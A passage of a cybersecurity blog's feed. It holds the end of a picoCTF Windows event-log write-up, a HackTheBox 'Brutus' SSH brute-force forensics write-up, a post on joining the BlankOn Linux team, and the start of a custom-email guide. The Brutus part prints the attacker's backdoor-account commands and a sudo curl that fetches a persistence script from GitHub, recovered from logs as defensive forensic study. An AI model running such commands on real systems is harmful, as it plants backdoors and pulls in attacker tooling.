[Software dijalankan → terlihat tidak ada yang terjadi]
  └─ Diam-diam: tulis entry ke registry Run key
  └─ Event ID 4657 mencatat perubahan ini
  └─ Flag Part 2 tersembunyi di sini

         │
         ▼
[Setiap startup → registry Run key dieksekusi]
  └─ custom_shutdown.exe berjalan otomatis
  └─ Komputer langsung shutdown
  └─ Event ID 1074 mencatat kejadian ini
  └─ Flag Part 3 tersembunyi di sini
</code></pre>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/picoctf/event-viewing/attack-flow.png" alt="Attack flow visualization" style="display:block;margin:0 auto" />

<p><em>Alur serangan malware dari instalasi hingga shutdown otomatis</em></p>
<hr />
<h2>Penutup &amp; Kesimpulan</h2>
<p>Challenge <strong>Event-Viewing</strong> mengajarkan kita tentang pentingnya <strong>Windows Event Log</strong> sebagai sumber utama investigasi forensik di lingkungan Windows. Dengan memahami Event ID yang tepat, kita bisa merekonstruksi seluruh aktivitas malware hanya dari log:</p>
<p><strong>Tiga pelajaran utama dari challenge ini:</strong></p>
<p><strong>1. Event ID adalah kunci navigasi log</strong> Windows mencatat ratusan jenis event — mengetahui Event ID mana yang relevan membuat investigasi jauh lebih efisien. Tiga Event ID krusial di sini: <code>1033</code> (instalasi), <code>4657</code> (registry), <code>1074</code> (shutdown).</p>
<p><strong>2. Registry Run key adalah tempat favorit malware</strong> Teknik persistence via <code>SOFTWARE\Microsoft\Windows\CurrentVersion\Run</code> adalah salah satu yang paling umum digunakan malware sampai saat ini. Selalu periksa registry key ini saat menginvestigasi insiden Windows.</p>
<p><strong>3. Jangan tertipu proses legitimate</strong> Malware sengaja menggunakan <code>RuntimeBroker.exe</code> sebagai "smokescreen" sebelum menjalankan <code>custom_shutdown.exe</code>. Investigator yang tidak teliti bisa saja berhenti di situ dan melewatkan binary berbahaya yang sebenarnya.</p>
<p>Skenario dalam challenge ini sangat mencerminkan serangan nyata di dunia profesional — dan itulah mengapa pemahaman mendalam tentang Windows Event Log menjadi skill wajib bagi seorang Blue Team analyst.</p>
<blockquote>
<p><em>Malware bisa bersembunyi, tapi Windows selalu mencatat. Event Log tidak pernah berbohong — jika kamu tahu harus mencari apa.</em> {: .prompt-info }</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Brutus — HTB Sherlock: Linux Log Forensics]]></title><description><![CDATA[Challenge Overview


Brutus adalah challenge forensik yang mengangkat skenario umum di dunia nyata: sebuah server Linux mengalami brute force attack via SSH. Setelah berhasil masuk, attacker melakukan]]></description><link>https://blog.cyphera.my.id/brutus-htb-sherlock-linux-log-forensics</link><guid isPermaLink="true">https://blog.cyphera.my.id/brutus-htb-sherlock-linux-log-forensics</guid><dc:creator><![CDATA[Firmansyah Dzakwan Arifien]]></dc:creator><pubDate>Tue, 21 Apr 2026 04:29:20 GMT</pubDate><content:encoded><![CDATA[<hr />
<h2>Challenge Overview</h2>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/cover.png" alt="Overview Challange" style="display:block;margin:0 auto" />

<p><strong>Brutus</strong> adalah challenge forensik yang mengangkat skenario umum di dunia nyata: sebuah server Linux mengalami <strong>brute force attack</strong> via SSH. Setelah berhasil masuk, attacker melakukan serangkaian aktivitas lanjutan yang dapat direkonstruksi melalui analisis log.</p>
<h3>Skill yang Dilatih</h3>
<ul>
<li><p>Unix Log Analysis</p>
</li>
<li><p>SSH Brute Force Detection</p>
</li>
<li><p>Timeline Reconstruction</p>
</li>
<li><p>Persistence Analysis</p>
</li>
<li><p>MITRE ATT&amp;CK Mapping</p>
</li>
</ul>
<hr />
<h2>Artifact Overview</h2>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/artifact.png" alt="Articact" style="display:block;margin:0 auto" />

<p><em>Pola Failed password berulang dari IP yang sama</em></p>
<table>
<thead>
<tr>
<th>Artefak</th>
<th>Tipe</th>
<th>Fungsi</th>
</tr>
</thead>
<tbody><tr>
<td><code>auth.log</code></td>
<td>Text</td>
<td>Riwayat autentikasi sistem (SSH, sudo, user management)</td>
</tr>
<tr>
<td><code>wtmp</code></td>
<td>Binary</td>
<td>Riwayat sesi login/logout terminal</td>
</tr>
<tr>
<td><code>utmp.py</code></td>
<td>Script</td>
<td>Helper untuk membaca <code>wtmp</code> lintas arsitektur</td>
</tr>
</tbody></table>
<h3><code>auth.log</code></h3>
<p>File teks yang mencatat <strong>seluruh aktivitas autentikasi</strong> pada sistem Linux:</p>
<ul>
<li><p>SSH login attempts (berhasil maupun gagal)</p>
</li>
<li><p>Penggunaan <code>sudo</code></p>
</li>
<li><p>Pembuatan user baru &amp; privilege escalation</p>
</li>
</ul>
<p>Struktur umum satu baris log:</p>
<pre><code class="language-plaintext">[Timestamp]  [Hostname]  [Service/PID]  [Status]  [Username]  [IP]  [Detail]
</code></pre>
<p>Contoh entri brute force:</p>
<pre><code class="language-plaintext">Mar 06 06:31:33 server sshd[2394]: Failed password for root from 65.2.161.68 port 34782 ssh2
</code></pre>
<h3><code>wtmp</code></h3>
<p>File <strong>binary</strong> berisi riwayat sesi login/logout. Tidak bisa dibaca langsung — gunakan:</p>
<pre><code class="language-bash"># Native Linux
last -f wtmp

# Helper script (challenge)
python3 utmp.py -o wtmp.out wtmp
</code></pre>
<blockquote>
<p><strong>Catatan penting:</strong> <em>Authentication time</em> ≠ <em>Session start time</em>. Inilah mengapa <code>wtmp</code> krusial untuk validasi timeline. {: .prompt-warning }</p>
</blockquote>
<hr />
<h2>Investigation &amp; Findings</h2>
<h3>Task 1 — Attacker IP Address</h3>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task1.1.png" alt="Task 1.1" style="display:block;margin:0 auto" />

<p>Brute force dapat diidentifikasi dari pola berikut di <code>auth.log</code>:</p>
<ul>
<li><p>Entri <code>Failed password</code> dalam jumlah sangat banyak</p>
</li>
<li><p>Dari <strong>IP yang sama</strong></p>
</li>
<li><p>Dalam jeda waktu sangat singkat (tidak mungkin manual)</p>
</li>
</ul>
<pre><code class="language-plaintext">Mar 06 06:31:31 server sshd[2394]: Failed password for root from 65.2.161.68 port 34782 ssh2
Mar 06 06:31:33 server sshd[2394]: Failed password for root from 65.2.161.68 port 34782 ssh2
Mar 06 06:31:35 server sshd[2394]: Failed password for root from 65.2.161.68 port 34782 ssh2
</code></pre>
<blockquote>
<p><strong>Answer:</strong> <code>65.2.161.68</code> {: .prompt-tip }</p>
</blockquote>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task1.2.png" alt="Task 1.2" style="display:block;margin:0 auto" />

<hr />
<h3>Task 2 — Compromised Account</h3>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task2.1.png" alt="Task 2.1" style="display:block;margin:0 auto" />

<p>Indikator keberhasilan brute force adalah adanya log:</p>
<pre><code class="language-plaintext">Accepted password for root from 65.2.161.68
</code></pre>
<p>Attacker berhasil login sebagai user dengan <strong>privilege tertinggi</strong>.</p>
<p><em>Entri "Accepted password" menandakan brute force berhasil</em></p>
<blockquote>
<p><strong>Answer:</strong> <code>root</code> {: .prompt-tip }</p>
</blockquote>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task2.2.png" alt="Task 2.2" style="display:block;margin:0 auto" />

<hr />
<h3>Task 3 — Interactive Login Timestamp (UTC)</h3>
<p>Analisis <code>wtmp</code> diperlukan untuk membedakan waktu autentikasi dan waktu sesi terminal aktif secara nyata.</p>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task3.1.png" alt="Task 3.1" style="display:block;margin:0 auto" />

<blockquote>
<p><strong>Answer:</strong> <code>2024-03-06 06:32:45 UTC</code> {: .prompt-tip }</p>
</blockquote>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task3.2.png" alt="Task 3.2" style="display:block;margin:0 auto" />

<hr />
<h3>Task 4 — SSH Session Number</h3>
<p>Setiap koneksi SSH mendapatkan session ID unik yang tercatat di <code>auth.log</code>. Session ID digunakan untuk melacak kapan sesi dimulai dan berakhir.</p>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task4.1.png" alt="Task 4.1" style="display:block;margin:0 auto" />

<p><em>Session ID 37 pada entri login root</em></p>
<blockquote>
<p><strong>Answer:</strong> <code>37</code> {: .prompt-tip }</p>
</blockquote>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task4.2.png" alt="Task 4.2" style="display:block;margin:0 auto" />

<hr />
<h3>Task 5 — Persistence Account</h3>
<p>Setelah mendapatkan akses root, attacker membuat user baru sebagai <strong>backdoor persistence</strong>:</p>
<pre><code class="language-bash">useradd cyberjunkie
usermod -aG sudo cyberjunkie
</code></pre>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task5.1.png" alt="Task 5.1" style="display:block;margin:0 auto" />

<p><em>Log pembuatan user dan penambahan ke grup sudo</em></p>
<blockquote>
<p><strong>Answer:</strong> <code>cyberjunkie</code> {: .prompt-tip }</p>
</blockquote>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task5.2.png" alt="Task 5.2" style="display:block;margin:0 auto" />

<hr />
<h3>Task 6 — MITRE ATT&amp;CK Mapping</h3>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task6.1.png" alt="Task 6.1" style="display:block;margin:0 auto" />

<p>Pembuatan akun lokal untuk persistence diklasifikasikan sebagai:</p>
<table>
<thead>
<tr>
<th>Field</th>
<th>Value</th>
</tr>
</thead>
<tbody><tr>
<td>Tactic</td>
<td>Persistence</td>
</tr>
<tr>
<td>Technique</td>
<td>Create Account (<code>T1136</code>)</td>
</tr>
<tr>
<td>Sub-technique</td>
<td>Local Account</td>
</tr>
</tbody></table>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task6.2.png" alt="Task 6.2" style="display:block;margin:0 auto" />

<p><em>T1136.001 pada MITRE ATT&amp;CK Enterprise Matrix</em></p>
<blockquote>
<p><strong>Answer:</strong> <code>T1136.001</code> {: .prompt-tip }</p>
</blockquote>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task6.3.png" alt="Task 6.3" style="display:block;margin:0 auto" />

<h3>Task 7 — End of First SSH Session</h3>
<p>Session ID 37 ditutup berdasarkan log <code>auth.log</code> pada:</p>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task7.1.png" alt="Task 7.1" style="display:block;margin:0 auto" />

<p><em>Entri penutupan sesi SSH ID 37</em></p>
<blockquote>
<p><strong>Answer:</strong> <code>2024-03-06 06:37:24</code> {: .prompt-tip }</p>
</blockquote>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task7.2.png" alt="Task 7.2" style="display:block;margin:0 auto" />

<p>Durasi sesi pertama: ±<strong>4 menit 39 detik</strong> — singkat, konsisten dengan aktivitas otomatisasi.</p>
<hr />
<h3>Task 8 — Post Exploitation Activity</h3>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task8.1.png" alt="Task 8.1" style="display:block;margin:0 auto" />

<p><em>Perintah curl via sudo tercatat di auth.log</em></p>
<p>Attacker login kembali menggunakan akun <code>cyberjunkie</code>, lalu mengeksekusi perintah via <code>sudo</code>:</p>
<pre><code class="language-bash">/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
</code></pre>
<p>Script eksternal dari GitHub ini kemungkinan digunakan untuk privilege enumeration, persistence reinforcement, dan lateral movement preparation.</p>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task8.2.png" alt="Task 8.2" style="display:block;margin:0 auto" />

<blockquote>
<p><strong>Answer:</strong> <code>/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh</code> {: .prompt-tip }</p>
</blockquote>
<hr />
<h2>✅ Kesimpulan</h2>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/close-banner.png" alt="Achievement" style="display:block;margin:0 auto" />

<p>Pertama, brute force attack masih menjadi ancaman nyata, terutama pada sistem yang tidak menerapkan hardening seperti rate limiting, fail2ban, atau key-based authentication.</p>
<p>Kedua, memahami perbedaan antara authentication log dan session log sangat krusial dalam membangun timeline yang akurat. auth.log memberi tahu kita kapan kredensial diterima, sedangkan wtmp memberi tahu kapan sesi benar-benar aktif.</p>
<p>Ketiga, persistence tidak selalu kompleks. Terkadang, teknik sederhana seperti membuat akun lokal baru dan menambahkannya ke grup sudo sudah cukup untuk mempertahankan akses.</p>
<p>Kita melihat bagaimana sebuah serangan brute force terhadap layanan SSH dapat berkembang menjadi kompromi penuh terhadap sistem. Dimulai dari percobaan login masif, berlanjut ke keberhasilan autentikasi sebagai root, kemudian diikuti dengan pembuatan akun baru untuk persistence, hingga eksekusi perintah menggunakan sudo untuk mengunduh script tambahan.</p>
<blockquote>
<p><em>Seringkali, sebuah insiden besar dimulai dari satu hal yang sederhana — sebuah password yang berhasil ditebak.</em> {: .prompt-info }</p>
</blockquote>
<hr />
]]></content:encoded></item><item><title><![CDATA[Joining BlankOn Revival - Contributing to Indonesia's Open Source Linux Distribution]]></title><description><![CDATA[Introduction
I'm excited to share that I've recently joined the BlankOn Revival Project as a core contributor in the Infrastructure Team. BlankOn Linux is Indonesia's very own GNU/Linux distribution, ]]></description><link>https://blog.cyphera.my.id/joining-blankon-revival-contributing-to-indonesia-s-open-source-linux-distribution</link><guid isPermaLink="true">https://blog.cyphera.my.id/joining-blankon-revival-contributing-to-indonesia-s-open-source-linux-distribution</guid><dc:creator><![CDATA[Firmansyah Dzakwan Arifien]]></dc:creator><pubDate>Mon, 30 Mar 2026 02:58:50 GMT</pubDate><content:encoded><![CDATA[<hr />
<h2>Introduction</h2>
<p>I'm excited to share that I've recently joined the <strong>BlankOn Revival Project</strong> as a core contributor in the <strong>Infrastructure Team</strong>. BlankOn Linux is Indonesia's very own GNU/Linux distribution, designed specifically for Indonesian users with localized features and cultural elements that make computing more accessible to our communities.</p>
<img src="https://raw.githubusercontent.com/BlankOn/wiki/master/Assets/Images/buatan-indonesia.png" alt="Buatan Indonesia" style="display:block;margin:0 auto" />

<p><em>BlankOn - Proudly Made in Indonesia</em></p>
<h2>About BlankOn Linux</h2>
<p>BlankOn Linux is not just another Linux distribution—it's a movement toward digital independence and technical competency in Indonesia. The name "BlankOn" itself carries a profound philosophy: the transformation from <strong>blank</strong> (empty) to <strong>on</strong> (filled/enlightened), representing the journey from unawareness to awareness, from consumer to producer.</p>
<h3>The Philosophy Behind BlankOn</h3>
<p>The project embodies a powerful vision: transforming Indonesians from mere consumers of technology to producers and innovators. It's about changing the mindset from dependency on foreign products to creating our own solutions.</p>
<blockquote>
<p><strong>Blank → On</strong>: The journey from emptiness to enlightenment, from consumer mentality to producer mentality. {: .prompt-info }</p>
</blockquote>
<h3>BlankOn's Relationship with Debian</h3>
<p>BlankOn is a <strong>Debian derivative distribution</strong> that maintains 100% compatibility with Debian. This means:</p>
<ul>
<li><p>Applications for Debian can run on BlankOn</p>
</li>
<li><p>BlankOn-specific applications can be installed on Debian</p>
</li>
<li><p>BlankOn can be installed on top of existing Debian systems</p>
</li>
<li><p>It's not just a remaster—it has its own packages and repositories</p>
</li>
</ul>
<h2>The Mission: Building an Open Source Ecosystem</h2>
<p>The BlankOn Project aims to develop a comprehensive ecosystem around free and open-source software by:</p>
<ol>
<li><p><strong>Enhancing Local Talent</strong>: Building competency in FOSS development—from technical aspects like application development and Linux distribution to non-technical skills like leadership and community building</p>
</li>
<li><p><strong>Creating a Self-Sustaining Ecosystem</strong>: Bringing together individuals, educational institutions, companies, and organizations (nonprofit, commercial, and governmental) that use BlankOn as their foundation</p>
</li>
<li><p><strong>Transforming Mindsets</strong>: Converting people from consumers to producers and innovators, encouraging them to create code, ideas, artwork, and profitable business ventures</p>
</li>
<li><p><strong>Perpetual Innovation</strong>: Creating a perpetual motion of innovation that feeds back into the BlankOn project through funding, feedback, and manpower</p>
</li>
</ol>
<img src="https://raw.githubusercontent.com/BlankOn/wiki/master/Assets/Images/produk-luar-negeri.png" alt="Mental Transformation" style="display:block;margin:0 auto" />

<p><em>From Import-Dependent...</em></p>
<img src="https://raw.githubusercontent.com/BlankOn/wiki/master/Assets/Images/produk-sendiri.png" alt="Local Production" style="display:block;margin:0 auto" />

<p><em>...To Self-Sufficient</em></p>
<h2>My Role: Infrastructure Team</h2>
<p>As part of the <strong>Infrastructure Team (Infrastruktur)</strong>, I work alongside talented developers to maintain and improve BlankOn's technical backbone:</p>
<h3>Team Members</h3>
<p><strong>Infrastructure Team:</strong></p>
<ul>
<li><p><strong>Harry Suryapambagya</strong> (Denpasar) - Infrastructure Lead</p>
</li>
<li><p><strong>Bagus Kusuma Loka</strong> (Jakarta) - Infrastructure Developer</p>
</li>
<li><p><strong>Firmansyah Dzakwan Arifien</strong> (Depok) - Infrastructure Developer (Me!)</p>
</li>
</ul>
<h3>My Responsibilities</h3>
<pre><code class="language-yaml">Role: Infrastructure Core Contributor
Team: Infrastruktur BlankOn
Location: Depok, Indonesia
Contact:
  Email: fdzak01@gmail.com
  Telegram: @fdzak01
</code></pre>
<p>My work focuses on:</p>
<ol>
<li><p><strong>Server Infrastructure</strong>: Managing and maintaining BlankOn's server infrastructure</p>
</li>
<li><p><strong>Build Systems</strong>: Ensuring smooth package building and distribution processes</p>
</li>
<li><p><strong>Repository Management</strong>: Maintaining package repositories and mirrors</p>
</li>
<li><p><strong>CI/CD Pipeline</strong>: Automating build and deployment workflows</p>
</li>
<li><p><strong>Security</strong>: Implementing security best practices and GPG/SSH key management</p>
</li>
<li><p><strong>Collaboration</strong>: Working with the packaging and R&amp;D teams to support development needs</p>
</li>
</ol>
<blockquote>
<p>All infrastructure work is done transparently using GPG-signed commits and secure SSH authentication, ensuring the integrity of BlankOn's systems. {: .prompt-tip }</p>
</blockquote>
<h2>The Revival Project Structure</h2>
<p>The BlankOn Revival project is organized into three core teams:</p>
<h3>1. Infrastructure Team (Infrastruktur)</h3>
<p>Responsible for:</p>
<ul>
<li><p>Server and network infrastructure</p>
</li>
<li><p>Build and deployment systems</p>
</li>
<li><p>Repository and mirror management</p>
</li>
<li><p>Security and access control</p>
</li>
</ul>
<p><strong>Members</strong>: Harry, Bagus, and myself (Dzakwan)</p>
<h3>2. Packaging Team (Pemaket)</h3>
<p>Responsible for:</p>
<ul>
<li><p>Creating and maintaining Debian packages</p>
</li>
<li><p>Package quality assurance</p>
</li>
<li><p>Dependency management</p>
</li>
<li><p>Integration with Debian upstream</p>
</li>
</ul>
<p><strong>Members</strong>: Herpiko, Lucky, Raffi, and Raska</p>
<h3>3. Research &amp; Development Team (Riset dan Pengembangan)</h3>
<p>Responsible for:</p>
<ul>
<li><p>New feature development</p>
</li>
<li><p>User experience improvements</p>
</li>
<li><p>Localization and Indonesian language support</p>
</li>
<li><p>Innovation and experimentation</p>
</li>
</ul>
<p><strong>Members</strong>: Atqa, Arthur (Aris), and Atikha</p>
<h2>Vision for Success: Real-World Impact</h2>
<p>BlankOn's success isn't measured just by downloads or installations, but by real-world transformations. Here are some aspirational scenarios that guide our work:</p>
<ul>
<li><p><strong>Education Access</strong>: "I'm a student in a remote area, accessing Wikipedia offline using an affordable BlankOn computer"</p>
</li>
<li><p><strong>Accessibility</strong>: "I'm visually impaired, using BlankOn's accessibility features to access the Internet"</p>
</li>
<li><p><strong>Disaster Relief</strong>: "I'm a disaster victim, communicating through emergency telecommunication systems powered by BlankOn"</p>
</li>
<li><p><strong>Agriculture</strong>: "I'm a farmer, using irrigation solutions controlled by BlankOn systems"</p>
</li>
<li><p><strong>Creative Industry</strong>: "I own a graphic design and animation studio, all our software is FOSS, including BlankOn"</p>
</li>
<li><p><strong>Business</strong>: "I'm a telecommunications entrepreneur, selling mobile phones with software components developed by BlankOn"</p>
</li>
<li><p><strong>Government</strong>: "I'm a governor, using BlankOn to implement official communication in local languages and scripts"</p>
</li>
<li><p><strong>National Security</strong>: "I'm a general, our combat communication systems were developed with the BlankOn Team"</p>
</li>
<li><p><strong>Policy</strong>: "I'm the president, mandating open-source software and open data formats across all government agencies"</p>
</li>
<li><p><strong>International Impact</strong>: "I'm an entrepreneur from Vietnam, using applications developed with the BlankOn Team"</p>
</li>
<li><p><strong>Regional Expansion</strong>: "I'm a computer retailer in Malaysia, selling computers with BlankOn pre-installed"</p>
</li>
</ul>
<blockquote>
<p>These aren't just dreams—they're concrete goals that guide our development priorities and measure our impact on society. {: .prompt-info }</p>
</blockquote>
<h2>Technical Stack &amp; Tools</h2>
<p>Working on BlankOn infrastructure involves:</p>
<pre><code class="language-bash"># Core Technologies
OS: Debian/BlankOn Linux
Version Control: Git with GPG signing
Authentication: SSH with Ed25519 keys
Security: GPG for package signing and verification
Build System: Debian packaging tools
CI/CD: GitHub Actions and custom automation
Repository: APT repository management
Monitoring: System and service monitoring tools

# Development Workflow
git commit -S -m "Signed commit"  # GPG-signed commits
ssh-keygen -t ed25519              # Secure SSH keys
gpg --sign --armor                 # Package signing
</code></pre>
<h2>Why This Matters</h2>
<p>Contributing to BlankOn is more than just technical work—it's about:</p>
<ol>
<li><p><strong>Digital Sovereignty</strong>: Building Indonesia's capacity to create and maintain its own technology</p>
</li>
<li><p><strong>Knowledge Transfer</strong>: The chain mentoring system means today's mentees become tomorrow's mentors</p>
</li>
<li><p><strong>Community Building</strong>: Creating networks of skilled developers across Indonesia</p>
</li>
<li><p><strong>National Pride</strong>: Proving that Indonesia can produce world-class open-source software</p>
</li>
<li><p><strong>Social Impact</strong>: Making technology more accessible to Indonesian communities</p>
</li>
</ol>
<h2>Getting Involved</h2>
<p>The BlankOn project is always open to new contributors! Whether you're a developer, designer, writer, or just passionate about open source, there's a place for you.</p>
<h3>Ways to Contribute</h3>
<ul>
<li><p><strong>Technical</strong>: Package maintenance, infrastructure work, feature development</p>
</li>
<li><p><strong>Documentation</strong>: Wiki editing, tutorial writing, translation</p>
</li>
<li><p><strong>Design</strong>: UI/UX design, artwork, branding</p>
</li>
<li><p><strong>Community</strong>: User support, event organization, advocacy</p>
</li>
<li><p><strong>Testing</strong>: Bug reporting, quality assurance, user feedback</p>
</li>
</ul>
<h3>Resources</h3>
<ul>
<li><p><strong>Website</strong>: <a href="https://blankonlinux.or.id">blankonlinux.or.id</a></p>
</li>
<li><p><strong>Wiki</strong>: <a href="https://blankon.github.io/wiki">blankon.github.io/wiki</a></p>
</li>
<li><p><strong>GitHub</strong>: <a href="https://github.com/BlankOn">github.com/BlankOn</a></p>
</li>
<li><p><strong>License</strong>: GPL (Free and Open Source)</p>
</li>
</ul>
<blockquote>
<p>BlankOn is free to download and use, but donations are welcome to support ongoing development! {: .prompt-tip }</p>
</blockquote>
<h2>Looking Forward</h2>
<p>Joining the BlankOn Revival Project as an infrastructure contributor is both an honor and a responsibility. I'm working alongside talented individuals who share the vision of digital independence for Indonesia.</p>
<p>This aligns perfectly with my broader journey in system administration and cybersecurity:</p>
<ul>
<li><p><strong>SMTP 2025</strong>: Cybersecurity knowledge from Korean experts</p>
</li>
<li><p><strong>Jarvis Academy</strong>: System administration bootcamp</p>
</li>
<li><p><strong>Red Hat RH134</strong>: Enterprise Linux administration</p>
</li>
<li><p><strong>BlankOn</strong>: Infrastructure for Indonesian Linux distribution</p>
</li>
</ul>
<p>Each experience builds upon the last, creating a comprehensive skill set that I can now apply to serve Indonesia's open-source community.</p>
<h2>Personal Reflection</h2>
<p>The transformation from <strong>blank to on</strong> isn't just BlankOn's philosophy—it's my personal journey too. From learning Linux basics to now contributing to Indonesia's own distribution, from being a user to becoming a builder, this is exactly the kind of transformation BlankOn represents.</p>
<p>I'm committed to the mission of changing Indonesia's technology landscape from consumer-dependent to producer-innovative. Every commit, every infrastructure improvement, every collaboration brings us closer to that vision.</p>
<hr />
<blockquote>
<p><strong>The Journey Continues</strong>: From learning system administration to securing networks, from earning certifications to building infrastructure for Indonesia's Linux distribution—every step forward is a step toward digital independence. {: .prompt-tip }</p>
</blockquote>
<h2>Connect &amp; Collaborate</h2>
<p>If you're interested in contributing to BlankOn or learning more about Indonesian open-source projects:</p>
<ul>
<li><p><strong>Email</strong>: <a href="mailto:fdzak01@gmail.com">fdzak01@gmail.com</a></p>
</li>
<li><p><strong>Telegram</strong>: @fdzak01</p>
</li>
<li><p><strong>GPG Fingerprint</strong>: <code>65C4 F8CC A444 02DD CE9E B998 5F3D 6D9F 31A4 02B6</code></p>
</li>
</ul>
<p>Let's build Indonesia's digital future together—from blank to on, from consumers to producers, from dependence to independence!</p>
<hr />
<p><em>Tags: #BlankOn #OpenSource #Linux #Debian #Indonesia #Infrastructure #FOSS #DigitalSovereignty #MadeInIndonesia #SystemAdministration</em></p>
]]></content:encoded></item><item><title><![CDATA[Email Custom Gratis via Gmail (Tanpa Google Workspace)]]></title><description><![CDATA[Kalau kamu ingin terlihat lebih profesional, pakai email seperti:

halo@namabisnis.com
support@namabrand.id
jauh lebih meyakinkan dibanding pakai email umum seperti @gmail.com.

Banyak orang mengira u]]></description><link>https://blog.cyphera.my.id/email-custom-gratis-via-gmail-tanpa-google-workspace</link><guid isPermaLink="true">https://blog.cyphera.my.id/email-custom-gratis-via-gmail-tanpa-google-workspace</guid><dc:creator><![CDATA[Firmansyah Dzakwan Arifien]]></dc:creator><pubDate>Mon, 30 Mar 2026 02:40:11 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69c921637816e434a047245e/d285986e-cb09-4ae0-9c4d-b9a9475f6563.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Kalau kamu ingin terlihat lebih profesional, pakai email seperti:</p>
<ul>
<li><a href="mailto:halo@namabisnis.com">halo@namabisnis.com</a></li>
<li><a href="mailto:support@namabrand.id">support@namabrand.id</a></li>
<li>jauh lebih meyakinkan dibanding pakai email umum seperti @gmail.com.</li>
</ul>
<p>Banyak orang mengira untuk bisa kirim dan terima email dari domain sendiri harus pakai Google Workspace yang berbayar bulanan. Padahal, untuk kebutuhan personal, freelancer, atau bisnis kecil, ada cara yang jauh lebih hemat.</p>
<p>Dengan kombinasi:</p>
<ul>
<li>1 domain (Rp50–150 ribu per tahun)</li>
<li>Cloudflare (gratis)</li>
<li>Gmail biasa (gratis)</li>
</ul>
<p>Kamu bisa:</p>
<ul>
<li>Terima email dari domain sendiri di Gmail</li>
<li>Kirim email dari alamat custom</li>
<li>Buat banyak alias email (hello@, admin@, dll)</li>
<li>Tanpa bayar biaya bulanan</li>
</ul>
<p>Di bawah ini panduan lengkap dan runtut dari awal sampai selesai.</p>
<h2>Konsep dan Mekanisme Kerja</h2>
<p>Sebelum masuk ke teknis, pahami dulu cara kerjanya supaya tidak bingung.</p>
<p>Alurnya seperti ini:</p>
<ol>
<li>Orang mengirim email ke <a href="mailto:halo@domainkamu.com">halo@domainkamu.com</a></li>
<li>Cloudflare meneruskan (forward) email itu ke Gmail kamu</li>
<li>Kamu membalas dari Gmail</li>
<li>Gmail mengirim email seolah-olah berasal dari <a href="mailto:halo@domainkamu.com">halo@domainkamu.com</a></li>
</ol>
<p>Artinya:</p>
<ul>
<li>Cloudflare menangani penerimaan dan forwarding</li>
<li>Gmail menangani pengiriman (SMTP)</li>
<li>App Password dipakai untuk keamanan login</li>
<li>Kita tidak membuat server email sendiri. Kita hanya memanfaatkan sistem forwarding + SMTP Gmail.</li>
</ul>
<h3>Langkah Implementasi</h3>
<p>Langkah 1 — Beli Domain
Kamu harus punya domain dulu, misalnya:</p>
<ul>
<li>namabisnis.com</li>
<li>namakamu.id</li>
<li>projectkeren.co
Beli domain di penyedia mana pun (misalnya idwebhost, Niagahoster, Rumahweb, Namecheap, dll).</li>
</ul>
<p>Setelah membeli domain, pastikan kamu bisa mengakses pengaturan DNS atau nameserver.</p>
<p>Note:
Salah satu penyedia domain murah:
<a href="https://idwebhost.com/">https://idwebhost.com/</a>
(.my.id, .biz.id, dll)</p>
<p>Alternatif lain bisa daftarGitHub Student Developer Pack (khusus untuk pelajar dan mahasiswa)</p>
<p>Langkah 2 — Hubungkan Domain ke Cloudflare
